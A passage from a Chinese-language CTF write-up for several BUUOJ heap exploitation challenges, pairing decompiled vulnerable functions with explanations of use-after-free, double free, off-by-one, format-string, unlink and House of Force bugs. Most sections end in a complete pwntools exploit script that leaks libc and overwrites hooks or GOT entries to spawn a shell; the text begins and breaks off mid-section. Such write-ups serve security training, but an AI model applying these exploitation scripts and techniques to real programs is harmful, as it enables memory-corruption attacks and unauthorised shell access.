puts("Done");
return __readfsqword(0x28u) ^ v2;
}
这里可以选择通过double free来控制tcache bins，修改 tcache bin
中的数量以及链头地址，使得chunk在free后进入unsortbins中，进而泄露处libc的基址。也可以选择申请一块大小超过tcache范围的chunk，在free后不进入tcache，更方便泄露libc的基址。
先申请三块chunk，然后free掉chunk0，此时chunk0的fd指针指向 `main_arena+96`
处，由于存在UAF漏洞，直接输出chunk0，然后就可以得到了libc的基址。
接下来再申请一块chunk，大小为0x500，将chunk0的空间申请掉，然后利用tcache，double free申请到free_hook
的空间，将one_gadget写入，对chunk进行free即可getshell。
这里简单说一下利用tcache的double
free来达到任意地址写，tcache与fastbins类似，也是通过fd指针来进行空闲chunk的连接，但是不同的是fastbins的fd指针指向的是chunk的开头，而tcache的指针指向用户输入内容的地址开头。
我们对一块chunk进行double
free后，就是下图上面的样子，申请一块相同大小的chunk，然后输入内容为我们想要控制的内存的地址，就成了下图step2的样子，再申请两块相同大小的chunk就拿到了我们想要控制的内存的指针，就达到了任意地址写的目的。
exp:
from pwn import *
context(log_level='debug', arch='amd64', os='linux')
io = process('./ciscn_2019_es_1',env={"LD_PRELOAD":"./libc-2.27.so"})
# io = process('./ciscn_2019_es_1')
# io = remote('node3.buuoj.cn', 28114)
libc = ELF('./libc-2.27.so')
def add(size, content, call):
io.sendlineafter('choice:', str(1))
io.sendlineafter('Please input the size of compary\'s name\n', str(size))
io.sendafter('please input name:', content)
io.sendafter('please input compary call:', call)
io.recvuntil('Done!\n')
def display(index):
io.sendlineafter('choice:', str(2))
io.sendlineafter('Please input the index:\n', str(index))
io.recvuntil('name:\n')
def delete(index):
io.sendlineafter('choice:', str(3))
io.sendlineafter('Please input the index:\n', str(index))
add(0x500, 'content', 'call') # 0
add(0x60, 'content', 'call') # 1
add(0x60, 'content', 'call') # 2
delete(0)
display(0)
main_arena = u64(io.recv(6).ljust(8, '\x00'))
print(hex(main_arena))
libc_base = main_arena - 0x3ebca0
malloc_hook = libc_base + libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym['__free_hook']
print('libc_base -> ' + hex(libc_base))
print('malloc_hook -> ' + hex(malloc_hook))
print('free_hook -> ' + hex(free_hook))
onegadget = libc_base + 0x4f322
add(0x500, 'aaaa', 'aaaa')
delete(1)
delete(1)
add(0x60, p64(free_hook), 'a' * 8)
add(0x60, 'a' * 8, 'a' * 8)
add(0x60, p64(onegadget), 'a' * 8)
delete(0)
io.interactive()
## 0x0d picoctf_2018_can_you_gets_me
依然是一道菜单题，四个功能。
来看看申请的函数，先申请了0x10大小的空间，用来存储之后申请的内存的大小以及地址。这里申请空间大小受到了限制，只能申请0x18或者0x38大小的空间。
unsigned __int64 create()
{
char *v0; // rbx
int i; // [rsp+4h] [rbp-2Ch]
size_t size; // [rsp+8h] [rbp-28h]
char buf[8]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v5; // [rsp+18h] [rbp-18h]
v5 = __readfsqword(0x28u);
for ( i = 0; i <= 9; ++i )
{
if ( !heaparray[i] )
{
heaparray[i] = (char *)malloc(0x10uLL);
if ( !heaparray[i] )
{
puts("Allocate Error");
exit(1);
}
printf("Size of Heap(0x10 or 0x20 only) : ");
read(0, buf, 8uLL);
size = atoi(buf);
if ( size != 24 && size != 56 )
exit(-1);
v0 = heaparray[i];
*((_QWORD *)v0 + 1) = malloc(size);
if ( !*((_QWORD *)heaparray[i] + 1) )
{
puts("Allocate Error");
exit(2);
}
*(_QWORD *)heaparray[i] = size;
printf("Content:");
read_input(*((_QWORD *)heaparray[i] + 1), size);
puts("Done!");
return __readfsqword(0x28u) ^ v5;
}
}
return __readfsqword(0x28u) ^ v5;
}
然后是edit函数，进行输入的大小为 `size+1` ，也就是存在off-by-one漏洞，溢出一字节，加上之前申请大小只能为0x18或者0x38，复用了下一块chunk的前比那个字节，溢出一字节刚好覆盖下一chunk的size位。
unsigned __int64 edit()
{
int v1; // [rsp+0h] [rbp-10h]
char buf[4]; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v3; // [rsp+8h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("Index :");
read(0, buf, 4uLL);
v1 = atoi(buf);
if ( v1 < 0 || v1 > 9 )
{
puts("Out of bound!");
_exit(0);
}
if ( heaparray[v1] )
{
printf("Content: ");
read_input(*((_QWORD *)heaparray[v1] + 1), *(_QWORD *)heaparray[v1] + 1LL);
puts("Done!");
}
else
{
puts("How Dare you!");
}
return __readfsqword(0x28u) ^ v3;
}
到这就有了思路，通过溢出一字节覆盖下一chunk的size位，也就是存储用户申请chunk的size和地址的chunk（姑且称之为 heap
struct），实现 Chunk Extend ，然后将其free，此时bins中的情况是这样的， `0x14e32c0` 是用户申请chunk的地址，
`0x14e32a0` 是因为我们刚才修改了struct的size位。
再进行申请，我们申请的chunk就会将struct包含在其中，我们将atoi函数的got表地址写入struct，然后进行输出，就会输出atoi函数的真实地址，就可以将libc的基址泄露出来，然后将atoi函数的got进行覆写，修改为system函数的地址，然后输入
`/bin/sh\x00` 即可getshell。
exp:
from pwn import *
# io = process('./npuctf_2020_easyheap',env={"LD_PRELOAD":"./libc-2.27.so"})
# io = process('./npuctf_2020_easyheap')
io = remote('node3.buuoj.cn', 26590)
elf = ELF('./npuctf_2020_easyheap')
libc = ELF('./libc-2.27.so')
def add(size, content):
io.sendlineafter('Your choice :', str(1))
io.sendlineafter('Size of Heap(0x10 or 0x20 only) : ', str(size))
io.sendafter('Content:', content)
io.recvuntil('Done!\n')
def edit(index, content):
io.sendlineafter('Your choice :', str(2))
io.sendlineafter('Index :', str(index))
io.sendafter('Content: ', content)
io.recvuntil('Done!\n')
def display(index):
io.sendlineafter('Your choice :', str(3))
io.sendlineafter('Index :', str(index))
io.recvuntil('Content : ')
def delete(index):
io.sendlineafter('Your choice :', str(4))
io.sendlineafter('Index :', str(index))
add(0x18, 'aaaa') # 0
add(0x18, 'bbbb') # 1
edit(0, 'a' * 0x18 + '\x41')
delete(1)
payload = 'a' * 0x18 + p64(0x21) + p64(0x38) + p64(elf.got['atoi'])
add(0x38, payload) #,2
display(1)
atoi_address = u64(io.recv(6).ljust(8, '\x00'))
print(hex(atoi_address))
libc_base = atoi_address - libc.symbols['atoi']
print('libc_base -> ' + hex(libc_base))
edit(1, p64(libc_base + libc.symbols['system']))
io.sendlineafter('Your choice :', '/bin/sh\x00')
io.interactive()
## 0x0e gyctf_2020_some_thing_exceting
我们可以看到在程序刚开始时，会读取根目录下的flag文件，将其写入bss段的变量中，没有该文件则退出程序。
unsigned __int64 sub_400896()
{
FILE *stream; // [rsp+0h] [rbp-10h]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
stream = fopen("/flag", "r");
if ( !stream )
{
puts("Emmmmmm!Maybe you want Fool me!");
exit(0);
}
byte_6020A0 = 96;
fgets(flag, 45, stream);
return __readfsqword(0x28u) ^ v2;
}
该程序有三个功能，编辑功能其实会让我们退出程序，只有增加、删除和输出功能。
增加功能会申请一块0x10大小的空间，用来存储接下来申请的两块chunk的地址，然后接下来申请的空间的大小不能超过0x70。
漏洞出现在删除函数中，这里只是将其free掉，没有置零，存在UAF漏洞。
unsigned __int64 sub_400C24()
{
int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("#######################");
puts("# Delete Banana #");
puts("#---------------------#");
printf("> Banana ID : ");
_isoc99_scanf("%d", &v1);
if ( v1 < 0 || v1 > 10 || !*(&ptr + v1) )
{
puts("Emmmmmm!Maybe you want Fool me!");
lea();
}
free(*(void **)*(&ptr + v1));
free(*((void **)*(&ptr + v1) + 1));
free(*(&ptr + v1));
puts("#---------------------#");
puts("# ALL Down! #");
puts("#######################");
return __readfsqword(0x28u) ^ v2;
}
那么我们就可以先申请两次chunk，然后分别free掉，此时fastbins情况如下图，其中0x13d4320中存储了chunk1的地址，0x13d4240中存储了chunk0的地址，此时我们再一次进行申请，申请大小为0x10，由于FILO的原则，我们的
`ba` 会申请到0x13d4240的地址，如果我们将之前存储了flag的变量的地址写入，然后对chunk0进行输出，就可以将flag直接输出了。
exp:
from pwn import *
io = process('./gyctf_2020_some_thing_exceting')
# io = remote('node3.buuoj.cn', 29924)
def add(ba_length, ba, na_length, na):
io.sendlineafter('want to do :', str(1))
io.sendlineafter('ba\'s length : ', str(ba_length))
io.sendlineafter('> ba : ', ba)
io.sendlineafter('na\'s length : ', str(na_length))
io.sendlineafter('> na : ', na)
def delete(index):
io.sendlineafter('want to do :', str(3))
io.sendlineafter('> Banana ID : ', str(index))
def display(index):
io.sendlineafter('want to do :', str(4))
io.sendlineafter('> SCP project ID : ', str(index))
io.recvuntil('# Banana\'s ba is ')
add(0x50, 'ba', 0x50, 'na') # 0
add(0x50, 'ba', 0x50, 'na') # 1
delete(0)
delete(1)
add(0x10, p64(0x6020a8), 0x10, 'na') # 2
display(0)
io.interactive()
## 0x0f hitcontraining_unlink
原题
exp:
from pwn import *
context(log_level='debug', arch='amd64', os='linux')
# io = process('./bamboobox')
io = remote('node3.buuoj.cn', 29177)
elf = ELF('./bamboobox')
libc = ELF('./libc-2.23.so')
free_got = elf.got['free']
def show():
io.sendlineafter('Your choice:', '1')
def add(size, content):
io.sendlineafter('Your choice:', '2')
io.sendlineafter('Please enter the length of item name:', str(size))
io.sendafter('Please enter the name of item:', content)
def edit(index, size, content):
io.sendlineafter('Your choice:', '3')
io.sendlineafter('Please enter the index of item:', str(index))
io.sendlineafter('Please enter the length of item name:', str(size))
io.sendafter('Please enter the new name of the item:', content)
def delete(index):
io.sendlineafter('Your choice:', '4')
io.sendafter('Please enter the index of item:', str(index))
array = 0x6020C0
add(0x30, 'aaaa') # 0
add(0x30, 'aaaa') # 1
add(0x80, 'aaaa') # 2
add(0x20, '/bin/sh') # 3
payload = p64(0) + p64(0x30) + p64(array + 0x18 - 0x18) + p64(array + 0x18 - 0x10)
payload += 'a' * 0x10 + p64(0x30) + p64(0x90)
edit(1, len(payload), payload)
delete(2)
# gdb.attach(io)
edit(1, 0x100, p64(0x20) + p64(free_got))#1
show()
io.recvuntil('0 : ')
puts_addr = u64(io.recvuntil(":")[:6].ljust(8,'\x00'))
libc_base = puts_addr - libc.symbols['free']
system = libc_base + libc.symbols['system']
edit(0, 8, p64(system))
delete(3)
io.interactive()
## 0x10 axb_2019_heap
一道格式化字符串漏洞 + off-by-one的综合应用。
首先在banner函数中存在格式化字符串漏洞，可以找到偏移量为8，由于这题开启了PIE，所以我们可以利用格式化字符串漏洞来泄露出栈上的数据从而得到libc的基址和程序的基址。
unsigned __int64 banner()
{
char format[12]; // [rsp+Ch] [rbp-14h] BYREF
unsigned __int64 v2; // [rsp+18h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("Welcome to note management system!");
printf("Enter your name: ");
__isoc99_scanf("%s", format);
printf("Hello, ");
printf(format);
puts("\n-------------------------------------");
return __readfsqword(0x28u) ^ v2;
}
gdb调试观察栈上的数据，可以发现偏移为11处为 `<main+28>` 的地址，可算出程序的基址。然后偏移为15处为
`<__libc_start_main+240>` 的地址，可算出libc的基址。
解决了这个问题后，再来看看程序，有三个功能，添加、修改和删除，其中添加函数中对key值有一个判断，不等于43的话对申请的大小存在限制，不能小于等于0x80。
然后在edit函数中使用了get_input函数对chunk进行输入，最后的地方有一个判断 `if ( a2 + 1 <= v3 )`
，也就是说存在off-by-one漏洞。
size_t __fastcall get_input(__int64 a1, unsigned int a2)
{
size_t result; // rax
signed int v3; // [rsp+10h] [rbp-10h]
_BYTE *v4; // [rsp+18h] [rbp-8h]
v3 = 0;
while ( 1 )
{
v4 = (_BYTE *)(v3 + a1);
result = fread(v4, 1uLL, 1uLL, stdin);
if ( (int)result <= 0 )
break;
if ( *v4 == 10 )
{
if ( v3 )
{
result = v3 + a1;
*v4 = 0;
return result;
}
}
else
{
result = (unsigned int)++v3;
if ( a2 + 1 <= v3 )
return result;
}
}
return result;
}
于是我们可以构造UNlink，将chunk申请到存放chunk地址的位于bss段的note处，然后将free_hook的地址写入note，对free_hook修改为one_gadget，然后getshell。
exp:
from pwn import *
# context(log_level='debug', arch='amd64', os='linux')
io = process('./axb_2019_heap', env={"LD_PRELOAD": "./libc-2.23.so"})
io = remote('node3.buuoj.cn', 27256)
libc = ELF('./libc-2.23.so')
def add(index, size, content):
io.sendlineafter('>> ', str(1))
io.sendlineafter('create (0-10):', str(index))
io.sendlineafter('size:\n', str(size))
io.sendlineafter('content: \n', content)
def delete(index):
io.sendlineafter('>> ', str(2))
io.sendlineafter('index:\n', str(index))
def edit(index, content):
io.sendlineafter('>> ', str(4))
io.sendlineafter('index:\n', str(index))
io.sendlineafter('content: \n', content)
io.recvuntil('Done!')
io.sendlineafter('name: ', '%11$p%15$p')
io.recvuntil('Hello, ')
base = int(io.recv(14), 16) - 0x1186
libc_base = int(io.recv(14), 16) - libc.sym['__libc_start_main'] - 240
note = base + 0x202060
one_gadget = libc_base + 0x4526a
free_hook = libc_base + libc.sym['__free_hook']
print('libc -> ' + hex(libc_base))
print('process_base -> ' + hex(base))
add(0, 0x98, 'content')
add(1, 0x98, 'content')
add(2, 0x90, 'content')
payload = p64(0) + p64(0x91) + p64(note - 0x18) + p64(note - 0x10)
payload += p64(0) * 14 + p64(0x90) + '\xa0'
edit(0, payload)
delete(1)
edit(0, p64(0) * 3 + p64(free_hook) + p64(0x10))
edit(0, p64(one_gadget))
delete(2)
io.interactive()
## 0x11 ciscn_2019_final_2
在init函数中，程序读取了flag文件，然后将fd文件流改成了666。
unsigned __int64 init()
{
int fd; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
fd = open("flag", 0);
if ( fd == -1 )
{
puts("no such file :flag");
exit(-1);
}
dup2(fd, 666);
close(fd);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
return __readfsqword(0x28u) ^ v2;
}
分配函数中，我们只能申请两种类型的空间，int和short
int，分别分配0x20和0x10的空间，然后分别有一个全局指针指向分配的chunk，以及bool参数用来判断是否分配了chunk。
unsigned __int64 allocate()
{
_DWORD *v0; // rbx
int v2; // [rsp+4h] [rbp-1Ch]
unsigned __int64 v3; // [rsp+8h] [rbp-18h]
v3 = __readfsqword(0x28u);
printf("TYPE:\n1: int\n2: short int\n>");
v2 = get_atoi();
if ( v2 == 1 )
{
int_pt = malloc(0x20uLL);
if ( !int_pt )
exit(-1);
bool = 1;
printf("your inode number:");
v0 = int_pt;
*v0 = get_atoi();
*((_DWORD *)int_pt + 2) = *(_DWORD *)int_pt;
puts("add success !");
}
if ( v2 == 2 )
{
short_pt = malloc(0x10uLL);
if ( !short_pt )
exit(-1);
bool = 1;
printf("your inode number:");
*(_WORD *)short_pt = get_atoi();
*((_WORD *)short_pt + 4) = *(_WORD *)short_pt;
puts("add success !");
}
return __readfsqword(0x28u) ^ v3;
}
在删除函数中，存在UAF漏洞。
unsigned __int64 delete()
{
int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
if ( bool )
{
printf("TYPE:\n1: int\n2: short int\n>");
v1 = get_atoi();
if ( v1 == 1 && int_pt )
{
free(int_pt);
bool = 0;
puts("remove success !");
}
if ( v1 == 2 && short_pt )
{
free(short_pt);
bool = 0;
puts("remove success !");
}
}
else
{
puts("invalid !");
}
return __readfsqword(0x28u) ^ v2;
}
在输出函数中，还有一个全局变量show_time限制了我们的输出次数限制，只能输出3次。
unsigned __int64 show()
{
int v2; // [rsp+4h] [rbp-Ch]
unsigned __int64 v3; // [rsp+8h] [rbp-8h]
v3 = __readfsqword(0x28u);
if ( show_time-- )
{
printf("TYPE:\n1: int\n2: short int\n>");
v2 = get_atoi();
if ( v2 == 1 && int_pt )
printf("your int type inode number :%d\n", *(unsigned int *)int_pt);
if ( v2 == 2 && short_pt )
printf("your short type inode number :%d\n", (unsigned int)*(__int16 *)short_pt);
}
return __readfsqword(0x28u) ^ v3;
}
在byebye函数中，会读取输入，然后进行输出，于是我们可以将标准输入流修改为666，这样在进行输入时就会输出flag文件了。
void __noreturn bye_bye()
{
char v0[104]; // [rsp+0h] [rbp-70h] BYREF
unsigned __int64 v1; // [rsp+68h] [rbp-8h]
v1 = __readfsqword(0x28u);
puts("what do you want to say at last? ");
__isoc99_scanf("%99s", v0);
printf("your message :%s we have received...\n", v0);
puts("have fun !");
exit(0);
}
我们可以先通过double free，来泄露出heap的地址，然后让short chunk的fd指针指向一块int
chunk的content的地址，然后对其size位进行修改，然后用这块被修改了size位的chunk去填充tcachebins，然后使得之后的chunk在free后进入unsortbin中，然后泄露出libc的基址。
之后double free分配到stdin的位置，修改其为666，就可以输出flag了。
exp:
from pwn import *
# io = process('./ciscn_final_2',env={"LD_PRELOAD":"./libc-2.27.so"})
io = remote('node3.buuoj.cn', 28685)
libc = ELF('./libc-2.27.so')
def add(add_type, add_num):
io.sendlineafter('which command?\n> ', '1')
io.sendlineafter('TYPE:\n1: int\n2: short int\n>', str(add_type))
io.sendafter('your inode number:', str(add_num))
def delete(remove_type):
io.sendlineafter('which command?\n> ', '2')
io.sendlineafter('TYPE:\n1: int\n2: short int\n>', str(remove_type))
def display(show_type):
io.sendlineafter('which command?\n> ', '3')
io.sendlineafter('TYPE:\n1: int\n2: short int\n>', str(show_type))
if show_type == 1:
io.recvuntil('your int type inode number :')
elif show_type == 2:
io.recvuntil('your short type inode number :')
return int(io.recvuntil('\n', drop=True))
add(1,0x30)
delete(1)
add(2,0x20)
add(2,0x20)
add(2,0x20)
add(2,0x20)
delete(2)
add(1,0x30)
delete(2)
addr_chunk0_prev_size = display(2) - 0xa0
print(hex(addr_chunk0_prev_size))
add(2, addr_chunk0_prev_size)
add(2, addr_chunk0_prev_size)
add(2, 0x91)
for i in range(0, 7):
delete(1)
add(2, 0x20)
delete(1)
main_arena = display(1) - 96
print(hex(main_arena))
libc_base = main_arena - libc.sym['__malloc_hook'] - 0x10
stdin = libc_base + libc.sym['_IO_2_1_stdin_'] + 0x70
add(1, stdin)
add(1, 0x30)
delete(1)
add(2, 0x20)
delete(1)
addr_chunk0_fd = display(1) - 0x30
add(1, addr_chunk0_fd)
add(1, addr_chunk0_fd)
add(1, 111)
add(1, 666)
io.sendlineafter('which command?\n> ', '4')
io.recvuntil('your message :')
io.interactive()
## 0x12 ciscn_2019_final_3
这题只有两个功能，添加和删除，不过在进行添加的时候，他会帮我们把malloc后的地址进行输出，我们想要泄露出libc的基址的话就可以分配到unsortbin的bins头处，然后输出地址，就可以泄露出libc的基址了。
然后在删除的函数中，对chunk进行free后没有置零，存在UAF漏洞
unsigned __int64 delete()
{
__int64 v0; // rax
unsigned int v2; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v3; // [rsp+8h] [rbp-8h]
v3 = __readfsqword(0x28u);
v0 = std::operator<<<std::char_traits<char>>(&std::cout, "input the index");
std::ostream::operator<<(v0, &std::endl<char,std::char_traits<char>>);
std::istream::operator>>(&std::cin, &v2);
if ( v2 > 0x18 )
exit(0);
free(*((void **)&unk_2022A0 + v2));
return __readfsqword(0x28u) ^ v3;
}
但是在进行分配时，对我们输入的size进行了限制，不能大于0x78，在有tcache的情况下，free后size小于0x400时不会进入unsortbin中，于是我们只能想办法修改chunk的size位了。
unsigned __int64 sub_CE1()
{
__int64 v0; // rax
__int64 v1; // rax
unsigned int v2; // ebx
__int64 v3; // rax
size_t size; // [rsp+0h] [rbp-20h] BYREF
unsigned __int64 v6; // [rsp+8h] [rbp-18h]
v6 = __readfsqword(0x28u);
v0 = std::operator<<<std::char_traits<char>>(&std::cout, "input the index");
std::ostream::operator<<(v0, &std::endl<char,std::char_traits<char>>);
std::istream::operator>>(&std::cin, (char *)&size + 4);
if ( *((_QWORD *)&unk_2022A0 + HIDWORD(size)) || HIDWORD(size) > 0x18 )
exit(0);
v1 = std::operator<<<std::char_traits<char>>(&std::cout, "input the size");
std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
std::istream::operator>>(&std::cin, &size);
if ( (unsigned int)size <= 0x78 )
{
v2 = HIDWORD(size);
*((_QWORD *)&unk_2022A0 + v2) = malloc((unsigned int)size);
v3 = std::operator<<<std::char_traits<char>>(&std::cout, "now you can write something");
std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
sub_CBB(*((_QWORD *)&unk_2022A0 + HIDWORD(size)), (unsigned int)size);
puts("OK!");
printf("gift :%p\n", *((const void **)&unk_2022A0 + HIDWORD(size)));
}
return __readfsqword(0x28u) ^ v6;
}
先分配一系列chunk，使其size加起来超过0x420，然后利用double
free将chunk分配到chunk0处，修改chunk0的size位，这时free掉chunk0和chunk1，chunk0就不会进入tcache了，而是进入unsortbin中，然后我们分配0x78的大小，使得剩下的free
chunk的fd指针刚好在chunk1的fd指针处，然后申请一块chunk，再申请相同大小chunk，就分配到了unsortbin的bins头处，就泄露出libc的基址了。
之后再利用double free修改 `__malloc_hook` 为one_gadget，即可getshell。
exp:
from pwn import *
context(log_level='debug', arch='amd64', os='linux')
io = process('./ciscn_final_3', env={"LD_PRELOAD":"./libc.so.6"})
libc = ELF('./libc.so.6')
def add(index, size, content):
io.sendlineafter('> ', str(1))
io.sendlineafter('index\n', str(index))
io.sendlineafter('size\n', str(size))
io.sendlineafter('something', content)
io.recvuntil('gift :')
return int(io.recvline()[2:],16)
def delete(index):
io.sendlineafter('> ', str(2))
io.sendlineafter('index\n', str(index))
heap = add(0, 0x78, 'a')
add(1, 0x18, 'a')
add(2, 0x78, 'a')
add(3, 0x78, 'a')
add(4, 0x78, 'a')
add(5, 0x78, 'a')
add(6, 0x78, 'a')
add(7, 0x78, 'a')
add(8, 0x78, 'a')
add(9, 0x28, 'a')
delete(9)
delete(9)
add(10, 0x28, p64(heap - 0x10))
add(11, 0x28, p64(heap - 0x10))
add(12, 0x28, p64(0) + p64(0x421))
delete(0)
delete(1)
add(13, 0x78, 'a')
add(14, 0x18, 'a')
libc_base = add(15, 0x18, 'a') - 0x3ebca0
print('libc_base -> ' + hex(libc_base))
one_gadget = libc_base + 0x10a38c
malloc_hook = libc_base + libc.symbols['__malloc_hook']
delete(2)
delete(2)
add(16, 0x78, p64(malloc_hook))
add(17, 0x78, p64(malloc_hook))
add(18, 0x78, p64(one_gadget))
io.sendline('1')
io.sendline('22')
io.interactive()
## 0x13 gyctf_2020_force
只有分配chunk的功能，可以分配最多40个chunk，而且没有限制分配的大小，在进行输入时固定输入0x50个字符，也就是说我们分配较小空间时存在溢出。
unsigned __int64 add()
{
const void **i; // [rsp+0h] [rbp-120h]
__int64 size; // [rsp+8h] [rbp-118h]
char s[256]; // [rsp+10h] [rbp-110h] BYREF
unsigned __int64 v4; // [rsp+118h] [rbp-8h]
v4 = __readfsqword(0x28u);
memset(s, 255, sizeof(s));
for ( i = (const void **)&unk_202080; *i; ++i )
;
if ( (char *)i - (char *)&unk_202080 > 39 )
exit(0);
puts("size");
read(0, nptr, 0xFuLL);
size = atol(nptr);
*i = malloc(size);
if ( !*i )
exit(0);
printf("bin addr %p\n", *i);
puts("content");
read(0, (void *)*i, 0x50uLL);
puts("done");
return __readfsqword(0x28u) ^ v4;
}
存在溢出，不限制分配大小，加上题目名称，可以想到House of Force，通过修改top chunk的size位来实现任意地址分配。
首先我们要先想办法获取libc的基址，当我们申请一个极大Chunk时，程序会调用mmap进行内存分配，分配下来的地址之后就是是libc，虽然开启了PIE，但是偏移都是固定的，可以算出libc的基址。
有了libc的基址，由于开启了FULL RELRO，不能修改got表，那就将one_gadget写入 `__malloc_hook`
，但是这题栈上不满足one_gadget的条件，所以我们可以将one_gadget写入 `__realloc_hook`
，通过realloc来调整帧栈，使其满足条件。
首先我们来修改top chunk的size位，将其修改为最大值，然后算出偏移，抬高top chunk，再进行分配，将其分配到
`__realloc_hook` 附近，然后覆盖 `__realloc_hook` 的值为one_gadget，修改 `__malloc_hook` 的值为
`realloc + 0x10` 的值，借助realloc来调整帧栈，然后进行分配，调用`__malloc_hook` ，`__malloc_hook`
调用 `realloc + 0x10` ，调用 `__realloc_hook` 就能够getshell了。
exp:
rom pwn import *
# context(log_level='debug', os='linux', arch='amd64')
io = process('./gyctf_2020_force',env={"LD_PRELOAD": "./libc-2.23.so"})
# io = remote('node3.buuoj.cn', 26073)
libc = ELF('./libc-2.23.so')
def add(size, content):
io.sendlineafter('2:puts\n', str(1))
io.sendlineafter('size\n', str(size))
io.recvuntil('bin addr 0x')
address = int(io.recv(12), 16)
io.sendafter('content\n', content)
return address
libc_base = add(0x200000, 'aaaa\n') +0x200ff0
print(hex(libc_base))
one_gadget = 0x4526a + libc_base
print('one_gadget -> ' + hex(one_gadget))
heap_addr = add(0x18, 'a' * 0x10 + p64(0) + p64(0xffffffffffffffff))
print(hex(heap_addr))
top_chunk = heap_addr + 0x10
malloc_hook = libc.symbols['__malloc_hook'] + libc_base
realloc = libc.symbols["__libc_realloc"] + libc_base
offset = malloc_hook - top_chunk
add(offset - 0x33, 'content')
add(0x10, 'a' * 8 + p64(one_gadget) + p64(realloc + 0x10))
gdb.attach(io)
io.sendlineafter('2:puts\n', str(1))
io.sendlineafter('size\n', str(20))
io.interactive()
## 0x14 zctf2016_note2
还是菜单题，添加、修改、输出、删除四个功能。
先看看添加，限制了我们申请的大小，不能超过0x80，而且最多只能申请四个chunk，有存放chunk的数组指针ptr。
int add()
{
unsigned int v1; // eax
unsigned int size; // [rsp+4h] [rbp-Ch]
void *size_4; // [rsp+8h] [rbp-8h]
if ( (unsigned int)note_num > 3 )
return puts("note lists are full");
puts("Input the length of the note content:(less than 128)");
size = input_num();
if ( size > 0x80 )
return puts("Too long");
size_4 = malloc(size);
puts("Input the note content:");
input((__int64)size_4, size, 10);
sub_400B10(size_4);
*(&ptr + (unsigned int)note_num) = size_4;
array_size[note_num] = size;
v1 = note_num++;
return printf("note add success, the id is %d\n", v1);
}
这里使用了input函数来进行输入，我们来看看input函数，这里循环的判断条件为 `length - 1 > i`
，而i是无符号整数，也就是说如果我们申请时输入的大小为0，那么 `0 - 1 = -1` ，转化成无符号整数与i比较，那么就意味着我们可以随意进行溢出。
unsigned __int64 __fastcall input(__int64 address, __int64 length, char enter)
{
char buf; // [rsp+2Fh] [rbp-11h] BYREF
unsigned __int64 i; // [rsp+30h] [rbp-10h]
ssize_t v7; // [rsp+38h] [rbp-8h]
for ( i = 0LL; length - 1 > i; ++i )
{
v7 = read(0, &buf, 1uLL);
if ( v7 <= 0 )
exit(-1);
if ( buf == enter )
break;
*(_BYTE *)(i + address) = buf;
}
*(_BYTE *)(address + i) = 0;
return i;
}
再来看看edit函数，这里提供了两种功能给我们进行选择，修改时可以覆盖原来的内容，也可以在原来的内容上进行添加。
unsigned __int64 sub_400D43()
{
_BYTE *v0; // rbx
int v2; // [rsp+8h] [rbp-E8h]
int v3; // [rsp+Ch] [rbp-E4h]
char *src; // [rsp+10h] [rbp-E0h]
__int64 v5; // [rsp+18h] [rbp-D8h]
char dest[128]; // [rsp+20h] [rbp-D0h] BYREF
void *v7; // [rsp+A0h] [rbp-50h]
unsigned __int64 v8; // [rsp+D8h] [rbp-18h]
v8 = __readfsqword(0x28u);
if ( note_num )
{
puts("Input the id of the note:");
v2 = input_num();
if ( v2 >= 0 && v2 <= 3 )
{
src = (char *)*(&ptr + v2);
v5 = array_size[v2];
if ( src )
{
puts("do you want to overwrite or append?[1.overwrite/2.append]");
v3 = input_num();
if ( v3 == 1 || v3 == 2 )
{
if ( v3 == 1 )
dest[0] = 0;
else
strcpy(dest, src);
v7 = malloc(0xA0uLL);
strcpy((char *)v7, "TheNewContents:");
printf((const char *)v7);
input((__int64)v7 + 15, 0x90LL, 10);
sub_400B10((const char *)v7 + 15);
v0 = v7;
v0[v5 - strlen(dest) + 14] = 0;
strncat(dest, (const char *)v7 + 15, 0xFFFFFFFFFFFFFFFFLL);
strcpy(src, dest);
free(v7);
puts("Edit note success!");
}
else
{
puts("Error choice!");
}
}
else
{
puts("note has been deleted");
}
}
}
else
{
puts("Please add a note!");
}
return __readfsqword(0x28u) ^ v8;
}
存在可利用的堆溢出，有全局数组指针，没开启RELRO保护，显然可以利用UNlink攻击。
通过申请size为0的chunk来进行溢出修改下一chunk的chunk头来达到UNlink的效果，然后修改atoi函数的got表，输入 `/bin/sh`
getshell。
exp:
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
# io = process('./note2')
io = remote('node3.buuoj.cn', 29650)
elf = ELF('./note2')
libc = ELF('./libc-2.23.so')
io.sendlineafter('Input your name:\n', 'so4ms')
io.sendlineafter('Input your address:\n', 'SCU')
def add(size, content):
io.sendlineafter('option--->>\n', str(1))
io.sendlineafter('(less than 128)\n', str(size))
io.sendlineafter('content:\n', content)
def display(index):
io.sendlineafter('option--->>\n', str(2))
io.sendlineafter('Input the id of the note:\n', str(index))
def edit(index, choice, conetnt):
io.sendlineafter('option--->>\n', str(3))
io.sendlineafter('Input the id of the note:\n', str(index))
io.sendlineafter('[1.overwrite/2.append]\n', str(choice))
io.sendlineafter('TheNewContents:', conetnt)
def delete(index):
io.sendlineafter('option--->>\n', str(4))
io.sendlineafter('Input the id of the note:\n', str(index))
heaparray = 0x602120
fd = heaparray - 0x18
bk = heaparray - 0x10
atoi_got = elf.got['atoi']
payload = p64(0) + p64(0x81) + p64(fd) + p64(bk)
add(0x60, payload) # 0
add(0, 'aaaa') # 1
add(0x80, 'content') # 2
delete(1)
